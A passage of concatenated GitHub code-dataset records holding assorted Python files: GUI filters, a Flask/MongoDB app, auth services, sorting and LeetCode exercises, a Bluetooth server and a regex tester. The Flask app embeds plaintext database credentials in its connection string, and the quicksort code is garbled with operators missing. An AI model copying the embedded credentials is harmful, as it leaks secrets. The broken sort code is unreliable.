переключателя 'показать скрыть информацию' и вызов функции подсчёта вакансий\"\"\"\n if self.ivr_salary.get():\n self.only_with_salary = True\n self.salary_with_sort = True\n self.sort_by_salary[\"bg\"] = \"#5ad136\" # меняем цвет лэйбла на зелёный\n self.sort_by_salary[\"fg\"] = \"white\"\n self.found_num_if_vacancies()\n else:\n self.only_with_salary = False\n self.salary_with_sort = False\n self.sort_by_salary[\"bg\"] = \"#d9feff\" # меняем цвет лэйбла на первоначальный\n self.sort_by_salary[\"fg\"] = \"black\"\n self.found_num_if_vacancies()\n\n def choice_fun(self):\n \"\"\"меняем цвет переключателя 'график работы' и вызов функции подсчёта вакансий\"\"\"\n choise_get = self.choice_ivr.get()\n if choise_get == 0:\n self.radbatts_schedule = None\n self.sort_by_schedule[\"bg\"] = \"#d9feff\" # меняем цвет лэйбла на первоначальный\n self.sort_by_schedule[\"fg\"] = \"black\"\n self.found_num_if_vacancies()\n if choise_get == 1:\n self.radbatts_schedule = 'fullDay'\n self.sort_by_schedule[\"bg\"] = \"#5ad136\" # меняем цвет лэйбла на зелёный\n self.sort_by_schedule[\"fg\"] = \"white\"\n self.found_num_if_vacancies()\n if choise_get == 2:\n self.radbatts_schedule = 'remote'\n self.sort_by_schedule[\"bg\"] = \"#5ad136\" # меняем цвет лэйбла на зелёный\n self.sort_by_schedule[\"fg\"] = \"white\"\n self.found_num_if_vacancies()\n if choise_get == 3:\n self.radbatts_schedule = 'shift'\n self.sort_by_schedule[\"bg\"] = \"#5ad136\" # меняем цвет лэйбла на зелёный\n self.sort_by_schedule[\"fg\"] = \"white\"\n self.found_num_if_vacancies()\n if choise_get == 4:\n self.radbatts_schedule = 'flexible'\n self.sort_by_schedule[\"bg\"] = \"#5ad136\" # меняем цвет лэйбла на зелёный\n self.sort_by_schedule[\"fg\"] = \"white\"\n self.found_num_if_vacancies()\n","repo_name":"jobAppli/HeadHunter","sub_path":"Labels.py","file_name":"Labels.py","file_ext":"py","file_size_in_byte":4697,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"72313420529","text":"\n\n'''\nThe task is broken down into three sections.\nSection 1 - User Input\nSection 2 - loop through the grocery list\nSection 3 - provide output to the console\n'''\n\n####Created an empty dictionary####\ngrocery_item = {}\n####Created an empty list####\ngrocery_history = []\n\n###While-loop coupled with a Boolean variable that is equal to False\nstop = False\n\nwhile not stop:\n\n####User input for variables item_name, quantity, and cost\n item_name = input(\"Item name:\\n\")\n \n quantity = input(\"Quantity purchased:\\n\")\n \n cost = input(\"Price per item:\\n\")\n####Add key-value pairs to dictionary from user input\n grocery_item = {'item_name':item_name, 'quantity':int(quantity), 'cost':float(cost)}\n####Add(append) grocery_item dictionary data to grocery_history list. A list of dictionaries!! \n grocery_history.append(grocery_item)\n####User prompted to either continue adding data... or not.\n done_shopping = input(\"Would you like to enter another item?\\nType 'c' for continue or 'q' to quit:\\n\")\n if done_shopping == 'q':\n stop = True\n \n####Grand total variable set to zero at beginning of loop. Ready to be modified.\ngrand_total = 0\n \n#### For-loop iterates through each item contained in the grocery_history list of dictionaries \nfor item in grocery_history:\n \n####Calculated item total by accessing quantity and cost keys in grocery item dictionary and multiplying \n item_total = item['quantity'] * item['cost']\n####Grand total value gets modified from zero to the value of item total for each iteration through the loop \n grand_total += item_total\n####Information printed for the user to view\n print('%d %s @ $%.2f ea $%.2f' %(item['quantity'], item['item_name'], item['cost'], item_total))\n \n####Item total variable set to zero after it is used to calculate grand total. It is now ready to re-calculate during the next iteration.\n item_total = 0\n#Print the grand total once all items have been iterated through.\nprint(\"Grand Total: $%.2f\" % grand_total)\n","repo_name":"bclaw17/Grocery-List-Script","sub_path":"grocery_list_final.py","file_name":"grocery_list_final.py","file_ext":"py","file_size_in_byte":1993,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"18987161032","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Mar 28 19:06:22 2020\n\n@author: crull\n\"\"\"\n\nfrom flask import Flask, render_template, request, redirect\nfrom pymongo import MongoClient\n\nalex=MongoClient('mongodb+srv://Alex:Alex@tankmensional-v6eso.mongodb.net/test?retryWrites=true&w=majority')\ndb = alex['tankmension']\ncollection = db['dades']\n\n\nresults=collection.find({})\n\n\napp = Flask(__name__)\n\n\n@app.route(\"/\")\ndef template_test():\n return render_template('sample.html', my_string=\"Wheeeee!\", my_list=[0,1,2,3,4,5])\n\n\n@app.route(\"/about\")\ndef about():\n return render_template('about.html',my_string=\"Wheeeee!\", my_list=[0,1,2,3,4,5])\n\n\n@app.route('/getdata', methods=[\"POST\", \"GET\"])\ndef getdata():\n if request.method == \"POST\":\n collection.insert_one({'\\ufeff_id': str(results.count()+1), \"Series\": request.form[\"series\"], \"Rodet\": request.form[\"rodet\"], \"Rodet Diameter\": request.form[\"rodetD\"], \"Bandes\": request.form[\"bandes\"], \"V (rpm)\": request.form[\"V\"], \"Power (W)\": request.form[\"power\"]})\n return redirect(\"/\")\n else:\n return render_template(\"AddData.html\")\n \nvalue = []\n@app.route(\"/chooseplot\", methods=[\"GET\",\"POST\"])\ndef ChoosePlot():\n types = ['PlotHelix', \"PlotTurbina\",\"PlotDisc\",\"PlotCircular\"]\n if request.method == 'POST':\n for i in types:\n post_id = request.form.get(i)\n if post_id is not None:\n value.append([post_id,request.form.get(\"velocity\")])\n return redirect(\"/analytics\")\n else:\n return render_template('ChooseRodet.html')\n\n\n \n@app.route(\"/analytics\")\ndef analytics():\n import tankmensional_data as tkdata\n import numpy\n import pandas as pd\n rodet = value[len(value) - 1][0]\n linial_res = tkdata.linial_res\n x = linial_res[rodet][0]\n ly = linial_res[rodet][1]\n lrmse=linial_res[rodet][2]\n velocity = value[len(value) - 1][1]\n velocity=float(velocity)/60\n lYhat = round(tkdata.linial_fits[rodet].predict(pd.DataFrame([float(velocity)]))[0],1)\n\n diametre_rod_dic = {\"Circular\": 0.03, \"Helix\": 0.06, \"Disc\": 0.078, \"Turbina\": 0.045}\n diametre_rod=diametre_rod_dic[rodet]\n\n adim_res = tkdata.adim_res\n adim = tkdata.adim\n ay = adim_res[rodet][1]\n armse=adim_res[rodet][2]\n v = float(velocity)\n Re = tkdata.ro*(v)*diametre_rod / (tkdata.viscositat)\n logRe=numpy.log(Re)\n logNp = tkdata.adim_fits[rodet].predict(pd.DataFrame([float(logRe)]))\n Np = numpy.exp(logNp)\n aYhat = round(Np[0]*diametre_rod**5 * (v)**3 * tkdata.ro,1)\n return render_template('analytics.html', project_id=rodet, velocity=velocity, rodet=rodet,ly=ly, x=x, ay=ay, lYhat=lYhat, aYhat=aYhat, lrmse=lrmse, armse=armse)\n\n\n@app.route(\"/one\", methods=[\"GET\", \"POST\"])\ndef second():\n return (render_template('charts2.html'))\n\napp.run(debug=True, use_reloader=False)\n","repo_name":"UPCodersEEBE/tankmensional","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"1081722014","text":"\n# coding: utf-8\n\n# # 快速排序\n# \n# 基本思想:根据基准值一趟排序分隔成独立的两部分,左边全部大于基准值,右边全部小于基准值。分别对这两部分记录继续相同操作。步骤如下:\n# \n# - 选取基准:从数据中选择一个数作为基准值(pivot),一般选择最左边。\n# - 分区操作:将数据中小于基准的全部放在pivot的左边位置,其余放在右边位置。该(分区)操作完成之后,原来的基准会在数据的中间某一位置。\n# - 递归下去,得到有序结果。\n# \n# ![归并排序](attachment:guibing.gif)\n\n# In[4]:\n\n\ndef partition(nums, start, end):\n '''\n 1. 构建头尾双指针\n 2. 选取最左边的数字为基准\n 3. 从两端交替向中间扫描,直至i=j\n 4. 这样一趟下来之后,基准会位于nums中的一个位置,左边的全部小于它,右边均大于基准\n 5. 返回i或者j的位置,再对i或者j的两端继续按照该方法做下去,这就是QuickSort函数递归的任务\n \n '''\n i, j = start, end\n pivot = nums[i] # 以nums[i]为基准\n while ii and nums[j]>=pivot: # 从右向左扫描,直到右边的数比基准值小为止\n j -= 1 ## 向左移动\n nums[i] = nums[j] ## 将右边小于基准值的值排到前面i的位置去\n # 左侧小于基准值,指针右移\n while i= end:\n return nums\n else:\n i = partition(nums, start, end)\n QuickSort(nums, start, i-1)\n QuickSort(nums, i+1, end)\n return nums\n\n\n# In[5]:\n\nif __name__ == '__main__':\n List = [5, 2, 3, 2, 1]\n print(QuickSort(List, 0, len(List)-1))\n\n\n\n # leetcode题目\n # [215. 数组中的第K个最大元素](https://leetcode-cn.com/problems/kth-largest-element-in-an-array/submissions/)\n","repo_name":"wanpingDou/LeetCode","sub_path":"排序算法/1.快速排序.py","file_name":"1.快速排序.py","file_ext":"py","file_size_in_byte":2447,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31633679464","text":"from euler import lcm\n\ndef p005(n):\n r = 1\n for i in xrange(1, n + 1):\n r = lcm(r, i)\n return r\n\nif __name__ == \"__main__\":\n from benchmark import benchmark\n benchmark(p005, 20)\n","repo_name":"thcyron/euler","sub_path":"p005.py","file_name":"p005.py","file_ext":"py","file_size_in_byte":200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"31361876489","text":"\"\"\"\n Auth Services\n _________________\n This services module to handle all incoming authenticaion\n\"\"\"\n# pylint: disable=no-name-in-module\n# pylint: disable=import-error\n# sqlalchemy exceptions\nfrom sqlalchemy.exc import IntegrityError\n\nfrom app.api import db\n\n# models\nfrom app.api.models import User, BlacklistToken, ApiKey\n\n# exceptions\nfrom app.api.auth.exceptions import (\n RevokedTokenError,\n SignatureExpiredError,\n InvalidTokenError,\n EmptyPayloadError,\n)\n\n# http error\nfrom app.lib.http_error import Unauthorized, UnprocessableEntity, RequestNotFound\n\n# utility\nfrom app.api.utility.utils import validate_uuid\n\n# http response\nfrom app.lib.http_response import ok, no_content\n\n# error response\nfrom app.api.const import ERROR as error_response\n\n# const\nfrom app.api.const import STATUS\n\n\nclass Token:\n \"\"\" Handle everything related to Token \"\"\"\n\n def __init__(self, token):\n self.token = token\n\n # end def\n\n @staticmethod\n def create(user, token_type):\n \"\"\"\n create token\n \"\"\"\n token = User.encode_token(token_type, user.id)\n return token.decode()\n\n # end def\n\n def decode(self):\n \"\"\"\n decode token\n \"\"\"\n try:\n payload = User.decode_token(self.token)\n except RevokedTokenError:\n return \"REVOKED_TOKEN\"\n except SignatureExpiredError:\n return \"SIGNATURE_EXPIRED\"\n except InvalidTokenError:\n return \"INVALID_TOKEN\"\n except EmptyPayloadError:\n return \"EMPTY_PAYLOAD\"\n # end try\n return payload\n\n # end def\n\n def blacklist(self):\n \"\"\"\n blacklist a token\n \"\"\"\n blacklist_token = BlacklistToken(token=self.token)\n try:\n db.session.add(blacklist_token)\n db.session.commit()\n except IntegrityError:\n return False\n # end try\n return True\n\n # end def\n\n\n# end class\n\n\nclass AuthServices:\n \"\"\" Authentication Services Class\"\"\"\n\n def current_login_user(self, token):\n \"\"\"\n function to check who is currently login by decode their token\n used in decorator\n \"\"\"\n payload = Token(token).decode()\n if isinstance(payload, str):\n raise Unauthorized(\n error_response[payload][\"TITLE\"], error_response[payload][\"MESSAGE\"]\n )\n\n # fetch user information\n user = User.query.filter_by(\n id=validate_uuid(payload[\"sub\"]), status=STATUS[\"ACTIVE\"]\n ).first()\n if user is None:\n raise RequestNotFound(\n error_response[\"USER_NOT_FOUND\"][\"TITLE\"],\n error_response[\"USER_NOT_FOUND\"][\"MESSAGE\"],\n )\n # end if\n\n response = {\"token_type\": payload[\"type\"], \"user\": user}\n return response\n\n # end def\n\n def create_token(self, params):\n \"\"\"\n Function to create token\n \"\"\"\n username = params[\"username\"]\n password = params[\"password\"]\n\n user = User.query.filter_by(username=username).first()\n if user is None:\n raise RequestNotFound(\n error_response[\"USER_NOT_FOUND\"][\"TITLE\"],\n error_response[\"USER_NOT_FOUND\"][\"MESSAGE\"],\n )\n # end if\n\n if user.check_password(password) is not True:\n raise Unauthorized(\n error_response[\"INVALID_CREDENTIALS\"][\"TITLE\"],\n error_response[\"INVALID_CREDENTIALS\"][\"MESSAGE\"],\n )\n # end if\n\n # generate token here\n access_token = Token.create(user, \"ACCESS\")\n refresh_token = Token.create(user, \"REFRESH\")\n\n response = {\"access_token\": access_token, \"refresh_token\": refresh_token}\n return ok(response)\n\n # end def\n\n def refresh_token(self, current_user):\n \"\"\"\n Function to create refresh token\n \"\"\"\n access_token = Token.create(current_user, \"REFRESH\")\n response = {\"access_token\": access_token}\n return ok(response)\n\n # end def\n\n def logout(self, token):\n \"\"\"\n Function to logout access token and blacklist the token\n \"\"\"\n has_been_blacklisted = Token(token).blacklist()\n if has_been_blacklisted is False:\n raise UnprocessableEntity(\"REVOKE_FAILED\", \"Revoke Token failed\")\n # end try\n return no_content()\n\n # end def\n\n ################ PATCH ########################\n @staticmethod\n def check_key(api_key):\n \"\"\" look up api key in db \"\"\"\n api_key = ApiKey.query.filter_by(id=validate_uuid(api_key)).first()\n if api_key is None:\n raise Unauthorized(\"INVALID_API_KEY\", \"Invalid Api Key\")\n return api_key\n\n # end def\n\n\n# end class\n","repo_name":"vousmeevoyez/wallet","sub_path":"app/api/auth/modules/auth_services.py","file_name":"auth_services.py","file_ext":"py","file_size_in_byte":4845,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"2110711580","text":"import cv2\r\nimport numpy as np\r\nimport os\r\nimport random\r\nfrom numpy.lib.stride_tricks import as_strided\r\n\r\n\r\ndef sliding_window(arr, window_size_x,window_size_y):\r\n \"\"\" Construct a sliding window view of the array\"\"\"\r\n arr = np.asarray(arr)\r\n window_size_x = int(window_size_x)\r\n window_size_y = int(window_size_y)\r\n if arr.ndim != 2:\r\n raise ValueError(\"need 2-D input\")\r\n if not (window_size_x > 0):\r\n raise ValueError(\"need a positive x window size\")\r\n if not (window_size_y > 0):\r\n raise ValueError(\"need a positive y window size\")\r\n shape = (arr.shape[0] - window_size_x + 1,\r\n arr.shape[1] - window_size_y + 1,\r\n window_size_x, window_size_y)\r\n if shape[0] <= 0:\r\n shape = (1, shape[1], arr.shape[0], shape[3])\r\n if shape[1] <= 0:\r\n shape = (shape[0], 1, shape[2], arr.shape[1])\r\n strides = (arr.shape[1]*arr.itemsize, arr.itemsize,\r\n arr.shape[1]*arr.itemsize, arr.itemsize)\r\n return as_strided(arr, shape=shape, strides=strides)\r\n\r\ndef cell_neighbors(arr, i, j, d,d2):\r\n \"\"\"Return d-th neighbors of cell (i, j)\"\"\"\r\n w = sliding_window(arr, 2*d+1, 2*d2+1)\r\n\r\n ix = np.clip(i - d, 0, w.shape[0]-1)\r\n jx = np.clip(j - d, 0, w.shape[1]-1)\r\n\r\n i0 = max(0, i - d - ix)\r\n j0 = max(0, j - d - jx)\r\n i1 = w.shape[2] - max(0, d - i + ix)\r\n j1 = w.shape[3] - max(0, d - j + jx)\r\n\r\n return w[ix, jx][i0:i1,j0:j1]#.ravel()\r\n\r\ndef get_nearest_free_area(current_window, a, default_sq, free_cell, obsticle_cell, markered_cell):\r\n (s,x,y) = current_window\r\n s += 2\r\n current_sq = cell_neighbors(a,x,y,s,s)\r\n max = current_sq.shape[0]-1\r\n # is_free = lambda area: free_cell in area and markered_cell in area\r\n\r\n if not free_cell in current_sq: #np.any(current_sq == free_cell):\r\n return []\r\n\r\n xy_combination = np.linspace((1,max),(1),max)\r\n xy_combination = np.concatenate([xy_combination, np.linspace((1),(max,1),max) ])\r\n xy_combination = np.concatenate([xy_combination, np.linspace((max),(max,1),max) ])\r\n xy_combination = np.concatenate([xy_combination, np.linspace((1,max),(max,max),max) ])\r\n\r\n positions = []\r\n for comb in xy_combination.astype(int):\r\n tmp_sq = cell_neighbors(current_sq, comb[0], comb[1],default_sq,default_sq)\r\n if not obsticle_cell in tmp_sq and not markered_cell in tmp_sq:\r\n positions.append([comb[0], comb[1]])\r\n return positions\r\n\r\nimg = cv2.imread('f:\\Project\\map.jpg')\r\n\r\ngray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\r\nret,threshed = cv2.threshold(gray, 128, 255, cv2.THRESH_BINARY)\r\n#blurred = cv2.GaussianBlur(gray, (5,5), 51)\r\nedges = cv2.Canny(gray,120, 255, 1)\r\n\r\ncontours, hierarchy = cv2.findContours(edges,cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE )\r\n\r\ncanvas = img.copy()\r\n\r\ncv2.drawContours(canvas, contours, -1, (128,255,0), 3, cv2.LINE_AA, hierarchy, 1 )\r\n\r\nfree_cell = 255\r\nobsticle_cell = 0\r\nmarkered_cell = 55\r\n\r\ndefault_sq = 2\r\nx=1\r\ny=1\r\ns=default_sq\r\nwhile True:\r\n z = cell_neighbors(threshed,x,y,s,s)\r\n if obsticle_cell in z: #np.any(z == obsticle_cell):\r\n #found obsticle -> find neibor free x/y\r\n #x=s+x\r\n #y=s+y\r\n # s=3\r\n positions = get_nearest_free_area((s,x,y),threshed,default_sq,free_cell,obsticle_cell,markered_cell)\r\n # while True:\r\n # next_pos = cell_neighbors(threshed,x,y,s,s)\r\n # if np.any(next_pos!=0) and np.any(next_pos!=55):\r\n # pass\r\n # else:\r\n \r\n break\r\n else:\r\n s+=2\r\n cv2.rectangle(z,(x,y),(x+s,y+s),(markered_cell),10) \r\ncv2.imshow(\"drawCntsImg.jpg\", threshed)\r\ncv2.imshow(\"drawCntsImg1.jpg\", z)\r\ncv2.waitKey(0)","repo_name":"denisshustov/map_test","sub_path":"sq1_p.py","file_name":"sq1_p.py","file_ext":"py","file_size_in_byte":3721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"13806503307","text":"# This Source Code Form is subject to the terms of the Mozilla Public\n# License, v. 2.0. If a copy of the MPL was not distributed with this file,\n# You can obtain one at http://mozilla.org/MPL/2.0/.\nimport copy\n\nimport pytest\n\n\n@pytest.fixture\ndef coverage_file_1():\n return {\n \"coverage\": [1, 1, 1, 1, 1, 1, 1, 1, 1, 1],\n \"coveragePercent\": 100,\n \"linesCovered\": 10,\n \"linesMissed\": 0,\n \"linesTotal\": 10,\n \"name\": \"xyz.cpp\",\n }\n\n\n@pytest.fixture\ndef coverage_file_2():\n return {\n \"coverage\": [0, 0, 0, 0, 0, 0, 0, 0, 0, 0],\n \"coveragePercent\": 0,\n \"linesCovered\": 0,\n \"linesMissed\": 0,\n \"linesTotal\": 0,\n \"name\": \"empty.cpp\",\n }\n\n\n@pytest.fixture\ndef coverage_directory(coverage_file_1, coverage_file_2):\n return {\n \"coveragePercent\": 100,\n \"linesCovered\": 10,\n \"linesMissed\": 0,\n \"linesTotal\": 10,\n \"name\": \"abc\",\n \"children\": {\"xyz.cpp\": coverage_file_1, \"empty.cpp\": coverage_file_2},\n }\n\n\n@pytest.fixture\ndef coverage_data_1(coverage_directory):\n \"\"\"Return a basic coverage data node\"\"\"\n return {\n \"coveragePercent\": 100,\n \"linesCovered\": 10,\n \"linesMissed\": 0,\n \"linesTotal\": 10,\n \"name\": \"/\",\n \"children\": {\"abc\": coverage_directory},\n }\n\n\n@pytest.fixture\ndef coverage_data_2(coverage_data_1):\n \"\"\"Slightly modified version of coverage_data_1\"\"\"\n data = copy.deepcopy(coverage_data_1)\n for key in (\"coveragePercent\", \"linesCovered\", \"linesMissed\"):\n data[key] = 0\n data[\"children\"][\"abc\"][key] = 0\n data[\"children\"][\"abc\"][\"children\"][\"xyz.cpp\"][key] = 0\n\n return data\n","repo_name":"MozillaSecurity/covdiff","sub_path":"test/conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"21297472824","text":"\"\"\"\nBluetooth server to send log data.\n\"\"\"\n\nimport bluetooth\nimport time\nimport os\n\nclass BluetoothServer():\n server_sock = None\n port = None \n uuid = \"94f39d29-7d6d-437d-973b-fba39e49d4ee\"\n client_sock = None\n client_info = None \n buffer = [\"6000#70\"]\n\n\n def __init__(self, buffer):\n self.buffer = buffer\n\n def init_server(self):\n self.server_sock = bluetooth.BluetoothSocket(bluetooth.RFCOMM)\n self.server_sock.bind((\"\", bluetooth.PORT_ANY))\n self.server_sock.listen(1)\n\n self.port = self.server_sock.getsockname()[1]\n\n def advertise(self):\n bluetooth.advertise_service(self.server_sock, \"BluetoothServer\", service_id=self.uuid,\n service_classes=[self.uuid, bluetooth.SERIAL_PORT_CLASS],\n profiles=[bluetooth.SERIAL_PORT_PROFILE],\n # protocols=[bluetooth.OBEX_UUID]\n )\n print(\"[BluetoothServer] Waiting for connection on RFCOMM channel\", self.port)\n\n def listen(self):\n self.client_sock, self.client_info = self.server_sock.accept()\n print(\"[BluetoothServer] Accepted connection from\", self.client_info)\n\n \"\"\"\n Send bracelet log to the phone in the form of a string. \n\n \"\"\"\n def send_data(self):\n print(\"[Bluetooth data BEGIN]\\n \", self.buffer, \"\\n[Bluetooth data END]\")\n\n self.client_sock.send(self.buffer)\n\n\n def run(self):\n try:\n self.init_server()\n self.advertise()\n self.listen()\n self.send_data()\n\n print(\"[BluetoothServer] Disconnected.\")\n self.client_sock.close()\n self.server_sock.close()\n print(\"[BluetoothServer] All done.\")\n # os.system('hciconfig hci0 down')\n finally:\n self.client_sock.close()\n self.server_sock.close()\n\n\n def loop_run(self):\n while True:\n self.run()\n\n\n\nif __name__ == \"__main__\":\n blue_server = BluetoothServer(\"hello world\")\n blue_server.loop_run()\n","repo_name":"KoalaYan/CS339-Project","sub_path":"Raspberry-Part/v1.0/bluetooth_server.py","file_name":"bluetooth_server.py","file_ext":"py","file_size_in_byte":2120,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"37582765199","text":"def replace(regexp, text, limit, start, end, replacement, exact):\n\tif exact :\n\t\tif exact_match(regexp, text, start, end) :\n\t\t\tmodifiedText = replacement # Replace the selected text once.\n\t\t\tn = 1\n\t\telse : return (text, 0) # Don't replace anything.\n\telif limit :\n\t\tmodifiedText , n = regexp.subn(replacement, text[start:end], limit) # Replace the text from the start position to the end one with a specified limit.\n\telse :\n\t\tmodifiedText, n = regexp.subn(replacement, text[start:end]) # Same as above, but without limit.\n\ttext = text[:start]+modifiedText+text[end:] # The stripped beginning + selected text + the stripped end.\n\treturn (text, n)\n# Exact match function :\ndef exact_match(regexp, text, start, end):\n\tmatch = regexp.match(text[start:end])\n\treturn match and match.group() == text[start:end]\n# Searching function :\ndef search(regexp, text, limit, start, end):\n\tmatches = [] # List of 'match' objects.\n\tif not limit : # = \"All\" option\n\t\tmatches = list(regexp.finditer(text, start, end)) # Create a list from an iterator of 'match' objects.\n\telse : # \"Limit\" option\n\t\tfor i in range(limit): # Number of iterations = the limit of results requested.\n\t\t\tmatch = regexp.search(text, start, end)\n\t\t\tif match : matches.append(match); start = match.end()\n\t\t\telse : break\n\treturn matches\n# Splitting function :\ndef split(regexp, text, limit, start, end):\n\treturn regexp.split(text[:start]+text[start:end]+text[end:], limit) # List of strings\n# If the script is running from the command line :\nif __name__ == '__main__' :\n\timport sys\n\tif not (sys.version_info.major >= 3 and sys.version_info.minor >= 2 ):\n\t\tprint('FATAL ERROR : Python 3.2 or later version is needed to run BRET', file=sys.stderr) # Because of argparse module.\n\t\tsys.exit(1) # (1) exit status is reserved for Python version error.\n\timport argparse\n\timport re\n\tparser = argparse.ArgumentParser(description='Basic Regular Expressions Tester')\n\tparser.add_argument('regexp', help='The regular expression pattern', metavar='RegExp')\n\ttig = parser.add_mutually_exclusive_group(required=True)\n\ttig.add_argument('-t', '--text', help='Text to be matched using the RegExp', metavar='Text')\n\ttig.add_argument('-i', '--input', help='Get the text from a file', metavar='File')\n\tparser.add_argument('-o', '--output', help='Write the results in a file', metavar='File')\n\tparser.add_argument('-r', '--replace', help='Replace matched text', metavar='Replacement')\n\talg = parser.add_mutually_exclusive_group()\n\talg.add_argument('-a', '--all', action='store_true', help='Return all matches')\n\talg.add_argument('-l', '--limit', type=int, default='1', metavar='Limit')\n\talg.add_argument('-x', '--exact-match', action='store_true', help='Check if the pattern match the string completely')\n\tparser.add_argument('-s', '--start', type=int, default='0', help='Set the starting position in the text', metavar='Position')\n\tparser.add_argument('-e', '--end', type=int, help='Set the ending position in the text', metavar='Position')\n\tparser.add_argument('-p', '--positions', action='store_true', help='Return the start and the end positions of the matches')\n\tparser.add_argument('-q', '--quite', action='store_true', help='Return the results only')\n\tparser.add_argument('-u', '--suppress-errors', action='store_true', help='Don\\'t show error messages')\n\tparser.add_argument('-g', '--groups', action='store_true', help='Show matched groups also')\n\tparser.add_argument('-z', '--split', action='store_true', help='Split the text using a regular expression')\n\targs = parser.parse_args()\n\tif args.input :\n\t\ttry:\n\t\t\targs.input = open(args.input, 'r', encoding=\"utf-8\")\n\t\t\targs.text = args.input.read()\n\t\texcept OSError as e:\n\t\t\tif not args.suppress_errors : print('ERROR : Couldn\\'t read' , e.filename, ':', e.strerror, file=sys.stderr)\n\t\t\tsys.exit(3) # (3) exit status is reserved for file errors.\n\t\targs.input.close() # Send the file content to args.text variable in order to use it in the program.\n\tif args.output :\n\t\ttry:\n\t\t\targs.output = open(args.output,'w', encoding=\"utf-8\")\n\t\texcept OSError as e:\n\t\t\tif not args.suppress_errors : print('ERROR : Couldn\\'t write' , e.filename, ':', e.strerror, file=sys.stderr)\n\t\t\tsys.exit(3)\n\telse: args.output = sys.stdout\n\tn = len(args.text)\n\tif not args.end or args.end > n : args.end = n # Set the default value of --end option on the last position.\n\tif args.text[args.start:args.end]=='': args.start = args.end # Starting position mustn't be greater than the end.\n\ttry:\n\t\trx = re.compile(args.regexp) # Create the RegExp and check if it is valid.\n\texcept re.error as e:\n\t\tif not args.suppress_errors : print('ERROR : invalid RegExp :', e.args[0], file=sys.stderr) # Print the error and exit with a non zero status.\n\t\tsys.exit(2); # (2) exit status is reserved for RegExp errors.\n\tif not args.quite and not args.output: print('') # Just an empty line before the main output.\n\tif args.all : args.limit = 0 # Set the limit to 0 (without limit) if 'all' option is specified.\n\tMATCH = 'Matched !' # Message to be displayed when the regular expression match the string and 'exact match' option is specified but not 'quite'.\n\tNO_MATCH = 'No match found !' # Message to be displayed when no matches are found and 'quite' option is not specified.\n\tif args.replace: # Replace option.\n\t\ttext, n = replace(rx, args.text, args.limit, args.start, args.end, args.replace, args.exact_match)\n\t\tif not args.quite : print(n,'replacement'+('s' if n>1 else ''), 'made :', file=args.output)\n\t\tprint(text, file=args.output)\n\t\tsys.exit(0)\n\telif args.split : # Split option.\n\t\ttextParts = split(rx ,args.text, args.limit, args.start, args.end)\n\t\tn = len(textParts)-1\n\t\tif not args.quite :\n\t\t\tprint(n, 'split'+('s' if n>1 else ''), 'made :', file=args.output)\n\t\tfor part in textParts :\n\t\t\tprint('-' if not args.quite else '', part, sep='', file=args.output)\n\telif not args.exact_match : # Search option.\n\t\tmatches = search(rx, args.text, args.limit, args.start, args.end)\n\t\tn = len(matches) # Number of matches found.\n\t\tif not args.quite and n>0:\n\t\t\tprint(n,'match'+('es' if n>1 else ''), 'found :', file=args.output) # Write 'matches' if n > 1.\n\t\tfor x in matches :\n\t\t\tprint('-' if not args.quite else '', x.group(), ((((' : match from ' if not args.quite else '(') + str(x.start()) + (' to ' if not args.quite else ',') + str(x.end()) + (')' if args.quite else '')) if args.positions else '')), sep='', end=('|' if not args.quite else ''), file=args.output)\n\t\t\tif args.groups :\n\t\t\t\tprint(' Groups :' if not args.quite else '', end=' ', file=args.output)\n\t\t\t\tfor i in range(len(x.groups())) :\n\t\t\t\t\tprint('('+str(i+1)+')' if not args.quite else '', x.group(i+1), sep='', end='/', file=args.output)\n\t\t\tprint(file=args.output)\n\t\tif not n : # if there is no matches.\n\t\t\tif not args.quite: print(NO_MATCH, file=sys.stderr)\n\t\t\tsys.exit(4) # (4) exit status is reserved for 'No match' warnings.\n\telse : # \"Exact match\" option.\n\t\tmatched = exact_match(rx, args.text, args.start, args.end)\n\t\tif matched :\n\t\t\tif not args.quite : print(MATCH, file=sys.stderr)\n\t\t\tsys.exit(0)\n\t\telse :\n\t\t\tif not args.quite : print(NO_MATCH, file=sys.stderr)\n\t\t\tsys.exit(4)\n","repo_name":"Hamza5/Basic-Regular-Expressions-Tester","sub_path":"script/bret.py","file_name":"bret.py","file_ext":"py","file_size_in_byte":7101,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"31765685929","text":"from collections import defaultdict\nfrom typing import List\n\n\nclass Solution:\n def containsNearbyDuplicate(self, nums: List[int], k: int) -> bool:\n counter = defaultdict(int)\n for i in range(k):\n if i == len(nums):\n break\n\n if counter[nums[i]] > 0:\n return True\n else:\n counter[nums[i]] += 1\n\n print(len(nums) - k)\n\n for i in range(1, len(nums) - k + 1):\n if counter[nums[i + k - 1]] > 0:\n return True\n else:\n counter[nums[i - 1]] -= 1\n counter[nums[i + k - 1]] += 1\n\n return False\n\n # simplified\n def containsNearbyDuplicate2(self, nums: List[int], k: int) -> bool:\n dic = {}\n for i, v in enumerate(nums):\n if v in dic and i - dic[v] <= k:\n return True\n dic[v] = i\n return False\n","repo_name":"shuheishintani/leetcode","sub_path":"sliding_window/0219_contains_duplicate_ⅱ.py","file_name":"0219_contains_duplicate_ⅱ.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"39350858977","text":"def solution(n, times):\n answer = 0\n 